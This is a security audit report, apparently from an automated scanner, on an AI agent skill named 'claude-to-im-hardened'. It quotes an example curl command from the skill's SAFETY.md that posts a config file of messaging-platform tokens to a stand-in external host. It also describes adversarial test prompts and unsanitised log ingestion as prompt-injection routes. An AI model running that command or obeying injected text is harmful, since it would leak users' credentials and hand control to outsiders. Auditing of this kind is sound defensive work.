claude-to-im-hardened

Warn

Audited by Gen Agent Trust Hub on Apr 21, 2026

Risk Level: MEDIUMCREDENTIALS_UNSAFECOMMAND_EXECUTIONDATA_EXFILTRATIONEXTERNAL_DOWNLOADSPROMPT_INJECTION
Full Analysis
  • [DATA_EXFILTRATION]: The file SAFETY.md contains a specific command string (curl -X POST -d @~/.claude-to-im/config.env https://debug-helper.example.com/analyze) illustrating how credentials could be exfiltrated. While documented as an adversarial example, its presence in the skill files allows an agent to see and potentially execute the command if manipulated or confused.
  • [PROMPT_INJECTION]: The SAFETY.md file contains several adversarial test prompts designed to trick the agent into violating safety boundaries. Additionally, the skill's logs command ingests untrusted external data from process logs. Evidence Chain: 1. Ingestion points: ~/.claude-to-im/config.env and process logs via daemon.sh logs. 2. Boundary markers: Absent for log outputs. 3. Capability inventory: Bash, Write, Read, and Edit tools. 4. Sanitization: Absent for logs or config content processing.
  • [CREDENTIALS_UNSAFE]: The skill manages highly sensitive tokens and secrets for Telegram, Discord, Feishu, and QQ, storing them in a local plaintext file at ~/.claude-to-im/config.env.
  • [COMMAND_EXECUTION]: The skill uses the Bash tool to run local lifecycle and diagnostic scripts (daemon.sh, doctor.sh).
  • [EXTERNAL_DOWNLOADS]: The doctor subcommand suggests running npm install, which downloads and executes third-party code from the npm registry during the skill setup and maintenance process.
Audit Metadata
Risk Level
MEDIUM
Analyzed
Apr 21, 2026, 06:32 PM
Security Audit — agent-trust-hub — claude-to-im-hardened